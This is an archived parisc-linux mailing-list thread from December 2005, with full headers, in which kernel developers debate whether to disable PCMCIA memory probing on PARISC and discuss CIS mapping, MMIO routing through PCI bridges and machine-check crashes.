	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21792-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Dec 2005 06:37:13 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id A99B17D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 06:37:12 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jB6Dan221509; Tue, 6 Dec 2005 08:36:49 -0500
In-Reply-To: <20051206093643.GA1706@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QfHnYx5AeSEkQL6WZHQhaXN1IGRvb4AT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23227

On Tue, 2005-12-06 at 09:36 +0000, Russell King wrote:
> I don't think you've fully understood what I've been saying.
> When we try to do memory probing, we setup a mapping in the same
> way that we setup a mapping to read the CIS from the card.

Yes, I do.  On PARISC, memory I/O ranges are directed.  If you program
the CIS to respond outside the directed range of its parent, the I/O
transaction will never get through because the direction is done by the
parent bus (which you aren't programming).  This then causes a HPMC
because no entity on the runway bus responds to the memory read.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Tue, 6 Dec 2005 09:46:14 -0700
Lines: 100
Approved: news@gmane.org
Message-ID: <20051206164614.GA22132@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<20051206081458.GA16793@colo.lackof.org>
	<20051206094908.GB1706@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623945 17030 80.91.229.3 (22 Nov 2014 02:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:05 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
 James Bottomley <James.Bottomley@SteelEye.com>,
 Kyle McMartin <kyle@parisc-linux.org>,
 linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 16:38:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 06 Dec 2005 17:38:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 639C17D6D7;
	Tue,  6 Dec 2005 09:38:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23445-06; Tue, 6 Dec 2005 09:38:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9D437D6D3;
	Tue,  6 Dec 2005 09:38:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54E377D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 09:38:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23445-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Dec 2005 09:37:59 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9D9D57D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 09:37:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0B510298026;
	Tue,  6 Dec 2005 09:46:17 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25979-05; Tue, 6 Dec 2005 09:46:14 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5796A298013; Tue,  6 Dec 2005 09:46:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051206094908.GB1706@flint.arm.linux.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JNvnYxJqeSEkVb6WZHQhaXN1IGRvb8Cq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23228

On Tue, Dec 06, 2005 at 09:49:08AM +0000, Russell King wrote:
> > How is the region selected? (ie please point me at the right code)
> 
> By the addresses passed in as available resources, or the parent bridge
> resources if the cardbus bridge is attached to a P2P bridge.
> 
> We start at the start of each resource and interate over it with a step
> size of 16k to 8MB depending on the size of the resource.  We ioremap
> the physical address, and then ask the PCMCIA controller to forward
> accesses targetted at the physical address to the PCMCIA card.
> 
> We then access the physical address to check whether it looks like the
> cards CIS data, and then we destroy the mapping and iounmap.  Repeat
> for each step until we reach the end of the resource.

Ok. As long as the MMIO bus addresses used fall within the
range being forwarded down the PCI bus, this should work fine.

> If that fails, we perform the same thing (mapping the CIS data) but
> we use a checksum method on the mapped card data instead.
> 
> > Is there some obvious document that explains my basic questions?
> 
> Unfortunately the only thing which exists is the code, sorry.

I'll try to summarize this thread later this week and mail you a new file
for Documentation/pcmcia/.

> I hope you are aware that PCMCIA bridges use memory and IO outside
> their own BARs when setting up mappings for legacy PCMCIA cards?

I'm not. But that's perfectly ok as long as PCMCIA code only deals
with the MMIO resources associated with that parent PCI bus.

> Hence, the parent bridge needs to forward _more_ IO and memory than
> the bus would appear to require.

We typically assign 8MB-256MB of MMIO space per PCI bus depending
on IO configuration and platforms/chipset. I expect that's more
than what the PCMCIA bridge would request for itself.

> > Ok. More basic questions:
> > Why are we doing this? Is this a form of bus walk?
> 
> We are doing this to ensure that the memory really is available - on
> PCs it may clash with weirdo ACPI/SMM/BIOS crap which we don't know
> about.  On non-PCs it should be completely harmless.  If it isn't,
> that indicates that we found another hardware problem which precludes
> us from using the addresses we're attempting to use.

Ok - that makes sense. I agree it should be harmless.
Sounds like there is a real problem here with how MMIO resources
are being assigned or used.

> So the memory probe itself is not the problem, but it found something
> we weren't expecting which will cause a problem later.

*nod*

> > If PCMCIA is susceptible to write posting issues, then a
> > PCI-PCMCIA bridge on PARISC is likely to expose those issues.
> > ie timing of register writes are likely different.
> 
> It could be - the control registers are MMIO, and we would be reading
> a different MMIO address.  However, since both of those are on the same
> bus (even to the same device) shouldn't the writes complete before the
> reads?

I'm certain PCI ordering rules are enforced. With "write posting" I
was referring to my favorite problem that I talked about here:
	http://iou.parisc-linux.org/ols_2002/4_3MMIO_is_harder.html

Ie any dependency on udelay() after an MMIO write is problematic.

> > That's possible. If PCMCIA is assigning MMIO addresses outside the
> > range routed down the PCI bus, the box will HPMC. The "PIM dump"
> > (CPU state when it HPMC'd) can tell which address the CPU failed
> > to access. So we should be able to determine if this is the case
> > or not pretty easily.
> > 
> > I don't have any PCI-PCMCIA adapters...so may have to wait until
> > james is home again and has an hour to poke at this again.
> 
> Hope the above points folk in the right direction. 8)

Yes - it does. thanks!

grant

> 
> -- 
> Russell King
>  Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
>  maintainer of:  2.6 Serial core
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+pcmcia@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Tue, 6 Dec 2005 09:36:44 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20051206093643.GA1706@flint.arm.linux.org.uk>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623946 17034 80.91.229.3 (22 Nov 2014 02:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:06 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 09:37:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 06 Dec 2005 10:37:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FA9A7D66A;
	Tue,  6 Dec 2005 02:36:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19554-07; Tue, 6 Dec 2005 02:36:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDAFB7D677;
	Tue,  6 Dec 2005 02:36:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 522667D665
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 02:36:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19554-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Dec 2005 02:36:53 -0700 (MST)
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186])
	by free.linux.hp.com (Postfix) with ESMTP id 4C1FE7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 02:36:53 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1EjZFe-0001UE-3c; Tue, 06 Dec 2005 09:36:46 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.52)
	id 1EjZFc-0000ke-D1; Tue, 06 Dec 2005 09:36:44 +0000
Mail-Followup-To: James Bottomley <James.Bottomley@SteelEye.com>,
	Kyle McMartin <kyle@parisc-linux.org>,
	linux-pcmcia@lists.infradead.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1133829923.3262.1.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lT7nY4pleSEkb76WZHQhaXN1IGRvb8AJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23229

On Mon, Dec 05, 2005 at 07:45:23PM -0500, James Bottomley wrote:
> On Mon, 2005-12-05 at 22:03 +0000, Russell King wrote:
> > The probing code sets up a mapping to place the CIS at one of the
> > regions, and then tries to validate/read the CIS.  It then unmaps
> > it and maps it into the next place and repeats.  Hence, we're
> > reading data from the PCMCIA card after setting up various valid
> > mappings.
> 
> Yes, that's what crashes.  Any memory probe to a non-responding address
> on PA causes a high priority machine check.  This is what trips us up.
> We have to explicitly list the responding regions in the config file.

I don't think you've fully understood what I've been saying.
When we try to do memory probing, we setup a mapping in the same
way that we setup a mapping to read the CIS from the card.

Therefore, when we read from the regions we're probing, we should
see valid CIS data.  Therefore, we are _not_ accessing an address
which doesn't respond, but we're accessing an address which we've
asked the PCMCIA bridge to map the card memory to.

If the hardware decides that, despite us setting up such a mapping,
the address we're accessing is not valid, then rather than disabling
the probing we should not ask PCMCIA to use it because the address
range is not available.

In either case, if the memory probe fails in some way, the solution
is not to disable it because then you're just papering over whatever
real problem exists.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 Serial core
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+pcmcia@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Tue, 6 Dec 2005 09:49:08 +0000
Lines: 116
Approved: news@gmane.org
Message-ID: <20051206094908.GB1706@flint.arm.linux.org.uk>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<20051206081458.GA16793@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623946 17036 80.91.229.3 (22 Nov 2014 02:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:06 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 09:49:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 06 Dec 2005 10:49:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AC657D688;
	Tue,  6 Dec 2005 02:49:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19767-05; Tue, 6 Dec 2005 02:49:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C9557D68D;
	Tue,  6 Dec 2005 02:49:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C14367D680
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 02:49:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19599-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Dec 2005 02:49:16 -0700 (MST)
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186])
	by free.linux.hp.com (Postfix) with ESMTP id 8AD127D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 02:49:15 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1EjZRf-0001Ul-BC; Tue, 06 Dec 2005 09:49:12 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.52)
	id 1EjZRc-0000rn-Kf; Tue, 06 Dec 2005 09:49:08 +0000
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	James Bottomley <James.Bottomley@SteelEye.com>,
	Kyle McMartin <kyle@parisc-linux.org>,
	linux-pcmcia@lists.infradead.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20051206081458.GA16793@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8jvnY1loeSEka76WZHQhaXN1IGRvb0Ch
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23230

On Tue, Dec 06, 2005 at 01:14:58AM -0700, Grant Grundler wrote:
> On Mon, Dec 05, 2005 at 10:03:44PM +0000, Russell King wrote:
> ..
> > I don't have issue with the I/O side.  It's the memory side I'm
> > wondering about.
> > 
> > The probing code sets up a mapping to place the CIS at one of the
> > regions,
> 
> How is the region selected? (ie please point me at the right code)

By the addresses passed in as available resources, or the parent bridge
resources if the cardbus bridge is attached to a P2P bridge.

We start at the start of each resource and interate over it with a step
size of 16k to 8MB depending on the size of the resource.  We ioremap
the physical address, and then ask the PCMCIA controller to forward
accesses targetted at the physical address to the PCMCIA card.

We then access the physical address to check whether it looks like the
cards CIS data, and then we destroy the mapping and iounmap.  Repeat
for each step until we reach the end of the resource.

If that fails, we perform the same thing (mapping the CIS data) but
we use a checksum method on the mapped card data instead.

> Is there some obvious document that explains my basic questions?

Unfortunately the only thing which exists is the code, sorry.

> If using IO port space, parisc can be very flexible as each PCI bus
> essentially has it's own IO port space range.
> 
> But with MMIO space, routing is typically setup by firmware.
> Each PCI bus controller will get one(*) region of MMIO space
> routed to it by the chipset. Children of that PCI bus must use
> MMIO addresses allocated from that region.
> 
> (*) I'm simplifying a bit here. The full explanation is more complex.
>    But treating it like one region is sufficient in practice
>    and for the purpose of this discussion.

I hope you are aware that PCMCIA bridges use memory and IO outside
their own BARs when setting up mappings for legacy PCMCIA cards?
Hence, the parent bridge needs to forward _more_ IO and memory than
the bus would appear to require.

> >  and then tries to validate/read the CIS.  It then unmaps
> > it and maps it into the next place and repeats.  Hence, we're
> > reading data from the PCMCIA card after setting up various valid
> > mappings.
> 
> Ok. More basic questions:
> Why are we doing this? Is this a form of bus walk?

We are doing this to ensure that the memory really is available - on
PCs it may clash with weirdo ACPI/SMM/BIOS crap which we don't know
about.  On non-PCs it should be completely harmless.  If it isn't,
that indicates that we found another hardware problem which precludes
us from using the addresses we're attempting to use.

So the memory probe itself is not the problem, but it found something
we weren't expecting which will cause a problem later.

> > These mappings are not much different from the mappings which are
> > used to interpret the CIS data from the card after the memory
> > probing has completed.
> 
> I'm not familiar with how CIS data is read from a PCMCIA device.
> Normal PCI uses "Config Space". Is PCMCIA using MMIO space
> for both CIS/device discovery and assigning MMIO space to
> PCMCIA device registers?

CIS data describes the PCMCIA card - how much IO and memory space it
needs, the supply voltages, access timings, device IDs and so forth.
It is only accessed once a card has been inserted, and we have asked
the PCMCIA controller to map the CIS memory from the card into the
hosts memory space - which must be available.

> > Hence, if the memory probing is causing you issues, I'd be concerned
> > about the reliability of reading the CIS data from the card under
> > the non-probing scenarios.
> 
> If PCMCIA is susceptible to write posting issues, then a
> PCI-PCMCIA bridge on PARISC is likely to expose those issues.
> ie timing of register writes are likely different.

It could be - the control registers are MMIO, and we would be reading
a different MMIO address.  However, since both of those are on the same
bus (even to the same device) shouldn't the writes complete before the
reads?

> > Alternatively, maybe you've found a real bug somewhere in PCMCIA
> > which needs fixing...
> 
> That's possible. If PCMCIA is assigning MMIO addresses outside the
> range routed down the PCI bus, the box will HPMC. The "PIM dump"
> (CPU state when it HPMC'd) can tell which address the CPU failed
> to access. So we should be able to determine if this is the case
> or not pretty easily.
> 
> I don't have any PCI-PCMCIA adapters...so may have to wait until
> james is home again and has an hour to poke at this again.

Hope the above points folk in the right direction. 8)

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 Serial core
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dominik Brodowski <linux@dominikbrodowski.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Wed, 7 Dec 2005 13:21:29 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20051207122129.GA31601@isilmar.linta.de>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
	<20051206093643.GA1706@flint.arm.linux.org.uk>
	<1133876209.3267.2.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623946 17039 80.91.229.3 (22 Nov 2014 02:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:06 +0000 (UTC)
Cc: Russell King <rmk+pcmcia@arm.linux.org.uk>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 12:21:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 07 Dec 2005 13:21:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D55E27D6F2;
	Wed,  7 Dec 2005 05:21:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32387-01; Wed, 7 Dec 2005 05:21:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E10747D6EB;
	Wed,  7 Dec 2005 05:21:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EBB77D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 05:21:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
